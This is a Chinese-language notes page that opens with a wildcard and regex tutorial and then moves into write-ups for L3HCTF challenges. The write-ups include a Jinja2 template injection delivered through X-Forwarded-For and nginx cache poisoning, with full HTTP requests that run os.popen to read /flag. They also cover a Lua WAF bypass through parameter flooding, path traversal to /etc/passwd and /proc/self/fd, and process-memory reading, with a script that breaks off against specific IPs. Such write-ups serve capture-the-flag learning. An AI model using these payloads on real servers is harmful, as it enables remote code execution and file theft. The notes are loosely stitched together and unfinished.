linux不解析通配符
一、基础通配符(适用于命令行、文件操作)
这些通配符在 Linux/macOS 的 Bash 终端、Windows 的命令提示符(CMD)或 PowerShell 中常用,主要用于匹配文件名。
\*(星号)
- 匹配 任意长度的任意字符(包括空字符)。
- 示例:
*.txt:匹配所有以.txt结尾的文件(如a.txt、b123.txt)。file*:匹配所有以file开头的文件(如file、file1、file.txt)。*doc*:匹配文件名中包含doc的文件(如readme.doc、mydoc.pdf)。?(问号)
- 匹配 单个任意字符(必须有一个字符,不能匹配空)。
- 示例:
file?.txt:匹配file1.txt、fileA.txt(文件名中file后有 1 个字符),但不匹配file.txt(少一个字符)或file12.txt(多一个字符)。?.log:匹配a.log、1.log(仅 1 个字符 +.log)。[](方括号)
- 匹配 括号内指定的任意一个字符,支持范围表示。
- 规则:
[abc]:匹配a、b、c中的任意一个字符。[0-9]:匹配 0-9 中的任意一个数字(范围用-分隔)。[a-z]:匹配小写字母 a-z。[^abc]或[!abc]:匹配 不在括号内 的任意一个字符(取反,^或!为取反符号)。- 示例:
file[0-5].txt:匹配file0.txt到file5.txt。[A-Z]*.pdf:匹配以大写字母开头的 PDF 文件(如Report.pdf)。file[!0-9].txt:匹配fileA.txt、file_.txt,但不匹配file1.txt。{}(花括号)
- 用于 生成多个字符串组合,不做匹配,而是直接展开为括号内的所有项。
- 示例:
file{1,2,3}.txt:展开为file1.txt file2.txt file3.txt(可用于批量创建或操作文件)。{a,b}*{x,y}:展开为a*x a*y b*x b*y(结合*时先展开再匹配)。二、正则表达式中的通配符(扩展匹配)
在编程(如 Python、JavaScript)、文本搜索(如
grep命令)中,正则表达式的通配符功能更强大,需注意与基础通配符的区别:
.(点号)
- 匹配 单个任意字符(类似
?,但在正则中更常用)。- 示例:
a.b匹配aab、a1b、a@b(中间任意一个字符)。.\*(点星组合)
- 匹配 任意长度的任意字符(类似
*,但在正则中是贪婪匹配,尽可能多匹配)。- 示例:
a.*b匹配a123b、aXyZb(a和b之间的所有字符)。^和$(锚点)
^:匹配字符串的 开头(如^hello匹配以hello开头的字符串)。$:匹配字符串的 结尾(如world$匹配以world结尾的字符串)。- 示例:
^abc$仅匹配字符串abc(精确匹配,开头和结尾无其他字符)。\d、\w、\s(预定义字符类)
\d:匹配任意数字(等价于[0-9])。\w:匹配字母、数字或下划线(等价于[a-zA-Z0-9_])。\s:匹配空白字符(空格、制表符\t、换行符\n等)。- 示例:
\d{3}匹配 3 个连续数字(如123、456)。三、通配符的使用场景
命令行操作
- 批量删除文件:
rm *.tmp(删除所有.tmp临时文件)。- 批量复制:
cp photo_?.jpg ./backup/(复制photo_1.jpg、photo_2.jpg到backup文件夹)。- 搜索文件:
ls [A-Z]*(列出所有大写字母开头的文件)。编程中的字符串匹配
在 Python 中用
re模块(正则表达式):
python
运行
import re if re.match(r'file\d+\.txt', 'file123.txt'): print("匹配成功") # 输出:匹配成功(\d+ 匹配1个以上数字)文件搜索工具
- 如
grep命令:grep 'error.*2023' log.txt(搜索日志中包含error且后面跟2023的行)。四、注意事项
不同环境的差异
- Windows 的 CMD 中,
*和?用法与 Linux 类似,但不支持[]范围匹配;PowerShell 则支持更多通配符(如[]、*、?)。- 正则表达式中的
*与命令行的*不同:正则中*表示 “前面的字符重复 0 次或多次”(如ab*匹配a、ab、abb),而命令行中*是独立的通配符。转义字符
若要匹配通配符本身(如文件名含
*),需用转义符
\(Linux)或
^(Windows CMD),例如:
- Linux:
ls \*.txt(匹配文件名就是*.txt的文件)。- Windows CMD:
dir ^*.txt(同上)。
https://su-team.cn/posts/e3fd1be7.html#gogogo-chu-fa-lou
赛博侦探
点开九子夺嫡视频
url为
https://www.bilibili.com/video/BV1tT421e7r3/?from_url=http://223.112.5.141:64601/secret/find_my_password&buvid=XU729158D436618067C9318686801E96CB45D&from_spmid=tm.recommend.0.0&is_story_h5=false&p=1&plat_id=116&share_from=ugc&share_medium=android&share_plat=android&share_session_id=422b97e2-06ad-4b22-a034-6f23ac237e51&share_source=COPY&share_tag=s_i&spmid=united.player-video-detail.0.0×tamp=1751785740&unique_k=CB6R8pq&up_id=552601798
即为http://223.112.5.141:64601/secret/find_my_password
通过doc属性可知邮箱为leland@l3hsec.com,英文名为leland
接着根据离羽毛球馆的距离查店铺位置,可推其经纬度为114.175,30.623

通过扫码知航班为MU5399

因是从武汉出发,故老家为福州

best_profile
X-Forwarded-For: 客户端原始IP, 代理1IP, 代理2IP, ...
- 第一个 IP 为客户端真实 IP,后续为请求经过的代理 IP。
- 示例:
客户端(192.168.1.100)→ 代理 A(10.0.0.1)→ 代理 B(203.0.113.5)→ 后端服务器,请求头为:X-Forwarded-For: 192.168.1.100, 10.0.0.1, 203.0.113.5- 格式:单个主机名(或 IP + 端口,端口可选)
X-Forwarded-Host: 客户端访问的原始域名[:端口]- 背景:
当请求经过代理时,代理会与后端服务器建立新连接,此时后端服务器收到的Host头可能被代理修改为后端服务器自身的地址(如代理配置的后端服务域名)。X-Forwarded-Host用于保留客户端最初请求的Host信息。- 示例:
客户端访问https://www.example.com,请求经代理转发到后端服务器10.0.0.10,代理会:
- 将请求的
Host头改为10.0.0.10(后端服务器地址);- 同时添加
X-Forwarded-Host: www.example.com,告知后端服务器用户实际访问的是www.example.com。
X-Forwarded-Host 与 Host 的区别
- Host 头部:
是 HTTP 协议标准头部,由客户端(如浏览器)发送,用于指定请求的目标服务器的域名或 IP 地址及端口,是服务器识别自身应处理哪个站点请求的核心依据(尤其在虚拟主机场景)。例如,访问https://example.com/path时,Host 头部通常为example.com。- X-Forwarded-Host 头部:
是非标准但广泛使用的扩展头部,由反向代理服务器(如 Nginx、Apache 等)添加,用于传递客户端原始请求中的 Host 信息。当请求经过代理服务器转发到后端服务器时,后端服务器通过该头部可获取客户端最初请求的目标域名,而非代理服务器的地址。核心差异
头部 发送方 作用 典型场景 Host 客户端 指示请求的目标服务器域名 / IP 直接向服务器发起请求 X-Forwarded-Host 反向代理服务器 传递客户端原始请求的 Host 信息 存在代理的多层网络架构 例如,客户端请求
https://proxy.com(代理服务器),实际转发到后端backend.com,此时:
客户端发送的 Host 为
proxy.com代理服务器添加 X-Forwarded-Host 为
proxy.com,后端服务器通过它可知客户端原始目标1. X-Forwarded-For
作用:
记录客户端的原始 IP 地址以及请求经过的所有代理服务器的 IP 地址。
当请求经过多层代理(如客户端 → 代理服务器 A → 代理服务器 B → 后端服务器)时,后端服务器默认只能看到最后一个代理的 IP,而X-Forwarded-For可以追溯完整的请求路径。格式:
逗号分隔的 IP 地址列表,第一个地址是客户端原始 IP,后续是各级代理的 IP。
例如:X-Forwarded-For: 192.168.1.100, 10.0.0.1, 172.16.0.2
192.168.1.100:客户端真实 IP10.0.0.1:第一级代理 IP172.16.0.2:第二级代理 IP2. X-Forwarded-Host
作用:
记录客户端请求的原始 Host 头部(即客户端访问的域名或 IP)。
当请求经过反向代理时,代理服务器通常会修改Host头部(例如指向后端服务器的内部地址),而X-Forwarded-Host用于保留客户端最初请求的 Host 信息。
- 利用缓存键(Cache Key)设计缺陷
缓存服务器通常根据请求的部分信息(如 URL、Host 头、特定请求参数等)生成 “缓存键”,用于标识唯一资源。若缓存键未包含某些关键参数(如未验证的用户输入、特殊 HTTP 头),攻击者可构造包含恶意内容的请求,使缓存将恶意内容与正常 URL 关联。
例如:若缓存仅根据URL生成键,而忽略X-Forwarded-Host头,攻击者可发送包含恶意X-Forwarded-Host的请求,使缓存将恶意脚本与正常 URL 绑定,其他用户访问该 URL 时会加载恶意脚本。- 注入恶意代码到可缓存资源
若源服务器对用户输入过滤不严,攻击者可提交包含恶意代码(如 XSS 脚本、恶意 JS)的内容,并诱导缓存服务器将其作为 “静态资源”(如.js、.css文件)缓存。当其他用户加载该资源时,恶意代码会被执行。
例如:在用户可控的动态页面中注入恶意 JS,若该页面被缓存,所有访问者都会触发 JS 执行。- 利用 HTTP 响应头漏洞
若源服务器返回的响应头包含错误的缓存控制信息(如Cache-Control: public,允许缓存),或缓存服务器忽略了源服务器的缓存限制(如no-cache),攻击者可通过构造请求,使恶意内容被长期缓存。
1.
render_template的安全特性
自动转义
:默认对变量输出进行 HTML 转义,防止 XSS 攻击。
<!-- 模板文件 index.html --> <p>Hello, {{ name }}!</p> <!-- 当 name = '<script>alert(1)</script>' 时 --> <!-- 输出结果:<p>Hello, <script>alert(1)</script>!</p> -->沙箱环境:模板中无法直接访问 Python 全局对象(如
os、sys),限制代码执行能力。2.
render_template_string的风险
直接执行模板代码
:字符串中的任何 Jinja2 语法都会被执行。
template = "{{ 1+1 }}" # 计算表达式 render_template_string(template) # 输出 "2" # 危险示例:执行任意 Python 代码 payload = "{{ request.application.__globals__['os'].popen('id').read() }}" render_template_string(payload) # 执行系统命令并返回结果
import os
import re
import random
import string
import requests
from flask import (
Flask,
render_template,
request,
redirect,
url_for,
render_template_string,
)
from flask_sqlalchemy import SQLAlchemy
from flask_login import (
LoginManager,
UserMixin,
login_user,
login_required,
logout_user,
current_user,
)
from sqlalchemy.orm import DeclarativeBase
from sqlalchemy.orm import Mapped, mapped_column
from werkzeug.security import generate_password_hash, check_password_hash
from werkzeug.middleware.proxy_fix import ProxyFix
import geoip2.database
class Base(DeclarativeBase):
pass
db = SQLAlchemy(model_class=Base)
class User(db.Model, UserMixin):
id: Mapped[int] = mapped_column(primary_key=True)
username: Mapped[str] = mapped_column(unique=True)
password: Mapped[str] = mapped_column()
bio: Mapped[str] = mapped_column()
last_ip: Mapped[str] = mapped_column(nullable=True)
def set_password(self, password):
self.password = generate_password_hash(password)
def check_password(self, password):
return check_password_hash(self.password, password)
def __repr__(self):
return "<User %r>" % self.name
app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///data.db"
app.config["SECRET_KEY"] = os.urandom(24)
app.wsgi_app = ProxyFix(app.wsgi_app)
db.init_app(app)
with app.app_context():
db.create_all()
login_manager = LoginManager(app)
def gen_random_string(length=20):
return "".join(random.choices(string.ascii_letters, k=length))
@login_manager.user_loader
def load_user(user_id):
user = User.query.get(int(user_id))
return user
@app.route("/login", methods=["GET", "POST"])
def route_login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if not username or not password:
return "Invalid username or password."
user = User.query.filter_by(username=username).first()
if user and user.check_password(password):
login_user(user)
return redirect(url_for("route_profile", username=user.username))
else:
return "Invalid username or password."
return render_template("login.html")
@app.route("/logout")
@login_required
def route_logout():
logout_user()
return redirect(url_for("index"))
@app.route("/register", methods=["GET", "POST"])
def route_register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
bio = request.form["bio"]
if not username or not password:
return "Invalid username or password."
user = User.query.filter_by(username=username).first()
if user:
return "Username already exists."
user = User(username=username, bio=bio)
user.set_password(password)
db.session.add(user)
db.session.commit()
return redirect(url_for("route_login"))
return render_template("register.html")
@app.route("/<string:username>")
def route_profile(username):
user = User.query.filter_by(username=username).first()
return render_template("profile.html", user=user)
@app.route("/get_last_ip/<string:username>", methods=["GET", "POST"])
def route_check_ip(username):
if not current_user.is_authenticated:
return "You need to login first."
user = User.query.filter_by(username=username).first()
if not user:
return "User not found."
return render_template("last_ip.html", last_ip=user.last_ip)
geoip2_reader = geoip2.database.Reader("GeoLite2-Country.mmdb")
@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
if res.status_code != 200:
return "Get last ip failed."
last_ip = res.text
try:
ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
country = geoip2_reader.country(ip)
except (ValueError, TypeError):
country = "Unknown"
template = f"""
<h1>IP Detail</h1>
<div>{last_ip}</div>
<p>Country:{country}</p>
"""
return render_template_string(template)
@app.route("/")
def index():
return render_template("index.html")
@app.after_request
def set_last_ip(response):
if current_user.is_authenticated:
current_user.last_ip = request.remote_addr
db.session.commit()
return response
if __name__ == "__main__":
app.run()
此路由二次渲染last_ip,如果last_ip可控会造成模板注入
@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
if res.status_code != 200:
return "Get last ip failed."
last_ip = res.text
try:
ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
country = geoip2_reader.country(ip)
except (ValueError, TypeError):
country = "Unknown"
template = f"""
<h1>IP Detail</h1>
<div>{last_ip}</div>
<p>Country:{country}</p>
"""
return render_template_string(template)
应用使用了ProxyFix中间件
from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app)
ProxyFix中间件的作用是从代理服务器传递的请求头中获取客户端的真实IP地址。当请求经过代理(如Nginx)时,原始客户端的IP会被保存在X-Forwarded-For头中。通过设置ProxyFix中间件,Flask的request.remote_addr将不再使用直接连接的客户端IP(通常是代理服务器的IP),而是使用X-Forwarded-For请求头中的IP地址。
X-Forwarded-For: 127.0.0.1 {%set ca=e|slice(16)|string|batch(16)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(8)|string|batch(8)|first|last+e|slice(11)|string|batch(11)|first|last+cycler.__doc__[697]+e|pprint|lower|batch(5)|first|last+e|slice(28)|string|batch(28)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(2)|string|batch(2)|first|last%}{{(sbwaf.__eq__.__globals__.sys.modules.os.popen(ca)).read()}}
配置文件中有如下内容
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 30d;
}
location ~ .*\.(js|css)?$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 12h;
}
current_user.last_ip = request.remote_addr于是要记得访问”/xxx.js“
@app.after_request
def set_last_ip(response):
# 检查用户是否已登录(通过 Flask-Login 的 current_user 实现)
if current_user.is_authenticated:
# 将当前请求的客户端 IP 记录为用户的 last_ip
current_user.last_ip = request.remote_addr
# 提交数据库会话,保存修改
db.session.commit()
# 返回响应(不改变原始响应内容)
return response
服务器设置了缓存所有以.js结尾的响应,同时注册功能没有限制用户名中的特殊字符,这使得我们可以构造特殊的用户名,例如:username.js。当我们注册完成后先向/发送带有X-Forwarded-For:xxx的请求,再向/get_last_ip/username.js发送请求,服务器返回的响应会被缓存,无论接下来的请求是否携带cookie,只要路径相同,返回的结果都会是相同的。/ip_detail路由内部向/get_last_ip发送的请求即使不携带cookie也会返回我们给予的last_ip。
X-Forwarded-For: {{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
五步走

1、
POST /register HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 50
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8081/register
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwljjEOAjEMBP_imsJO7MS5zyDHsQUS1Z2oEH8nEsU2u7PSfOCeZ1wPONJeV9zg_lxwgDsqE7P5dJlEiJ5O04tkzbYjYtNKtuWqWpBMBorVFsYx2mDBhYu7UlJ4MO3XzBDtuos9CK2hSLP3rIQlzZEEN4EpdTBskfcV599G4fsDIoovpA.aHXdQg.gjgdpHxTZo4pCAURSMOuKxTS8uA
Connection: keep-alive
username=user14.gif&password=1&bio=1&submit=Sign+Up
2、
POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 39
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8081/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
username=user14.gif&password=1&submit=Log+In
3、(没有也行)
GET /user14.gif HTTP/1.1
Host: 127.0.0.1:8081
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
Cookie:{{Cookie}}
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
4、(检查)
GET /get_last_ip/user14.gif HTTP/1.1
Host: 127.0.0.1:8081
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwljjEOAjEMBP_imsJO7MS5zyDHsQUS1Z2oEH8nEsU2u7PSfOCeZ1wPONJeV9zg_lxwgDsqE7P5dJlEiJ5O04tkzbYjYtNKtuWqWpBMBorVFsYx2mDBhYu7UlJ4MO3XzBDtuos9CK2hSLP3rIQlzZEEN4EpdTBskfcV59-GEL4_UgMvzQ.aHXh4g.HH_RTaBH9nTKqiAAYooVAu2G1VQ
Connection: keep-alive
5、GET /ip_detail/user14.gif?os=os&a=cat%20/flag HTTP/1.1
Host: 127.0.0.1:8081
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwljjEOAjEMBP_imsJO7MS5zyDHsQUS1Z2oEH8nEsU2u7PSfOCeZ1wPONJeV9zg_lxwgDsqE7P5dJlEiJ5O04tkzbYjYtNKtuWqWpBMBorVFsYx2mDBhYu7UlJ4MO3XzBDtuos9CK2hSLP3rIQlzZEEN4EpdTBskfcV59-GEL4_UgMvzQ.aHXh4g.HH_RTaBH9nTKqiAAYooVAu2G1VQ
Connection: keep-alive

gateway_advance
worker_processes 1;
events {
use epoll;
worker_connections 10240;
}
http {
include mime.types;
default_type text/html;
access_log off;
error_log /dev/null;
sendfile on;
init_by_lua_block {
f = io.open("/flag", "r")
f2 = io.open("/password", "r")
flag = f:read("*all")
password = f2:read("*all")
f:close()
password = string.gsub(password, "[\n\r]", "")
os.remove("/flag")
os.remove("/password")
}
server {
listen 80 default_server;
location / {
content_by_lua_block {
ngx.say("hello, world!")
}
}
location /static {
alias /www/;
access_by_lua_block {
if ngx.var.remote_addr ~= "127.0.0.1" then
ngx.exit(403)
end
}
add_header Accept-Ranges bytes;
}
#local blacklist = {"%.", "/", ";", "flag", "proc"}
#定义敏感字符 / 关键词黑名单:
#%.(点号,转义是因为.在 Lua 模式匹配中是通配符)和 /(斜杠):防止路径遍历攻击(如 ../ 访问上级目录)。
#;(分号):防止命令注入(如拼接系统命令)。
#flag、proc:CTF 中常见的敏感关键词(flag 是目标文件,proc 对应 Linux /proc 进程目录,可能泄露系统信息)。
#local args = ngx.req.get_uri_args()
#获取 URL 中的查询参数(如 ?filename=test.txt 中的 filename 和 test.txt)。
#for k, v in pairs(args) do
#遍历所有查询参数(k 是参数名,v 是参数值,支持多值参数如 ?a=1&a=2)。
#for _, b in ipairs(blacklist) do
#嵌套遍历黑名单中的每个敏感字符 b。
#if string.find(v, b) then ngx.exit(403)
#检查参数值 v 中是否包含 b,若包含则立即返回 403 禁止访问(拦截恶意请求)。
location /download {
access_by_lua_block {
local blacklist = {"%.", "/", ";", "flag", "proc"}
local args = ngx.req.get_uri_args()
for k, v in pairs(args) do
for _, b in ipairs(blacklist) do
if string.find(v, b) then
ngx.exit(403)
end
end
end
}
add_header Content-Disposition "attachment; filename=download.txt";
proxy_pass http://127.0.0.1/static$arg_filename;
#将当前 /download 请求转发到本地(127.0.0.1)的 /static 路径,并拼接查询参数 filename 的值。
#例如:若请求为 http://xxx/download?filename=file.txt,则实际转发到 http://127.0.0.1/static/file.txt。
#结合前文配置,/static 路径映射到服务器本地的 /www/ 目录,且仅允许本地 IP 访问,因此该代理实现了 “外部通过 /download 间接访问 /static 资源” 的逻辑。
body_filter_by_lua_block {
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
#ngx.arg[1] 是响应体的片段(因 Nginx 处理响应是流式的,可能分多次处理)。
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
#过滤逻辑按数据块处理而非整体处理.当只读取1字节时,不可能包含完整敏感词(如"password"=8字节)单字节响应永远不会触发过滤
end
end
}
}
location /read_anywhere {
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
if not f then
ngx.exit(404)
end
local start = tonumber(ngx.var.http_x_gateway_start) or 0
local length = tonumber(ngx.var.http_x_gateway_length) or 1024
if length > 1024 * 1024 then
length = 1024 * 1024
end
f:seek("set", start)
local content = f:read(length)
f:close()
ngx.say(content)
ngx.header["Content-Type"] = "application/octet-stream"
}
}
}
}
/download?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a=information_schemas&filename=../etc/passwd
/proc文件系统/proc是 Linux 系统中的虚拟文件系统,用于提供进程和系统内核的实时信息,并非实际存储在磁盘上。其中每个以数字命名的子目录(如/proc/1)对应一个进程的 ID(PID),包含该进程的详细信息(如内存、文件描述符、环境变量等)。
/proc/[PID]/fd目录
每个进程的/proc/[PID]/fd目录下,会以数字(0、1、2、3…)命名的符号链接,每个链接对应进程当前打开的一个文件描述符。例如:
0:标准输入(stdin)1:标准输出(stdout)2:标准错误(stderr)- 3 及以上:进程打开的其他文件、网络连接、管道等。
/proc/1/fd/6
1是进程 ID,通常对应系统初始化进程(如systemd),负责启动和管理系统服务。6是该进程打开的第 6 个文件描述符,具体指向什么内容取决于进程的行为(可能是某个配置文件、日志文件、管道或网络套接字等)。
/proc/self的含义/proc/self是一个动态符号链接,始终指向当前正在访问该路径的进程自身的/proc/[PID]目录(例如,当进程 A 访问/proc/self时,它等价于/proc/[A的PID])。这使得进程可以无需知道自身 PID 即可访问自己的信息。
mem文件的作用/proc/self/mem以二进制形式直接映射当前进程的虚拟内存空间,允许进程通过读写该文件来直接操作自身的内存数据(如修改变量值、注入代码等)。
- 读操作:可获取内存中指定地址的数据(需知道具体内存地址,且该地址必须是进程可访问的)。
- 写操作:可修改内存中指定地址的数据(同样受进程权限和内存保护机制限制,如只读内存页无法写入)。
GET /download?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a=information_schemas&filename=../proc/self/fd/6 HTTP/1.1
Host: 1.95.8.146:17794
Range: bytes=23-49
dsoneverwannagiveyouup
依次弄一下,得到
passwordismemeispasswordsoneverwannagiveyouup
在 Linux 系统中,
/proc/self/maps是一个特殊的伪文件,用于展示当前进程(self指代访问该文件的进程自身)的内存映射信息。它记录了进程地址空间中所有的内存区域(如代码段、数据段、堆、栈、共享库、映射文件等)的详细信息,是分析进程内存布局的重要工具。文件内容格式
/proc/self/maps的每一行对应进程中的一个内存区域,格式如下(以典型行为例):55f8d7a00000-55f8d7a02000 r--p 00000000 08:01 1234567 /usr/bin/ls各字段含义从左到右依次为:
- 内存地址范围(
55f8d7a00000-55f8d7a02000)
该内存区域在进程虚拟地址空间中的起始地址和结束地址(十六进制),表示此区域占用的地址范围。- 权限标志(
r--p)
4 个字符分别表示:
- 第 1 位:
r(可读)、-(不可读)- 第 2 位:
w(可写)、-(不可写)- 第 3 位:
x(可执行)、-(不可执行)- 第 4 位:
p(私有内存,如进程堆、栈)、s(共享内存,如共享库、匿名共享映射)- 偏移量(
00000000)
该内存区域对应的文件在磁盘上的偏移量(十六进制)。若为匿名映射(如堆、栈),此值通常为0。- 设备号(
08:01)
映射文件所在的设备标识符(主设备号:次设备号),匿名映射(如堆、栈)此处为00:00。- inode 号(
1234567)
映射文件的 inode 编号,匿名映射此处为0。- 映射来源(
/usr/bin/ls)
内存区域的来源:
- 若为文件映射,显示文件路径(如可执行文件、共享库、普通文件)。
- 若为匿名映射,可能显示
[heap](堆)、[stack](栈)、[anon](匿名内存)等。
init_by_lua_block {
# 在最后加上一段
print(tostring(flag))
#tostring(flag):将 Lua 变量 flag 转换为字符串(若 flag 本身是字符串则直接返回)。
#print(...):输出到 Nginx 的错误日志(通常为 /var/log/nginx/error.log,但配置中已定向到 /dev/null)。
local ffi = require("ffi")
local ptr = ffi.cast("const char*", flag)
#require("ffi"):加载 LuaJIT 的 FFI 模块,该模块允许 Lua 代码直接调用 C 函数和操作 C 数据类型。
#ffi.cast("const char*", flag):将 Lua 字符串 flag 转换为 C 风格的只读字符指针(const char*)。
#关键点:LuaJIT 在内存中会将字符串存储为连续的字节数组,通过 FFI 可获取该数组的起始地址。
print("Address: ", tostring(ptr))
#tostring(ptr):将 C 指针转换为 Lua 字符串,格式为 0xXXXXXXXXXXXXXXXX(十六进制内存地址)。
}
import requests
import re
import time
# === 配置项 ===
TARGET = "http://43.138.2.216:17794/read_anywhere"
PASSWORD = "passwordismemeispasswordsoneverwannagiveyouup"
CHUNK_SIZE = 4096 # 每次读取的字节数
FLAG_PREFIX = b"L3HCTF{"
# === 读取 maps ===
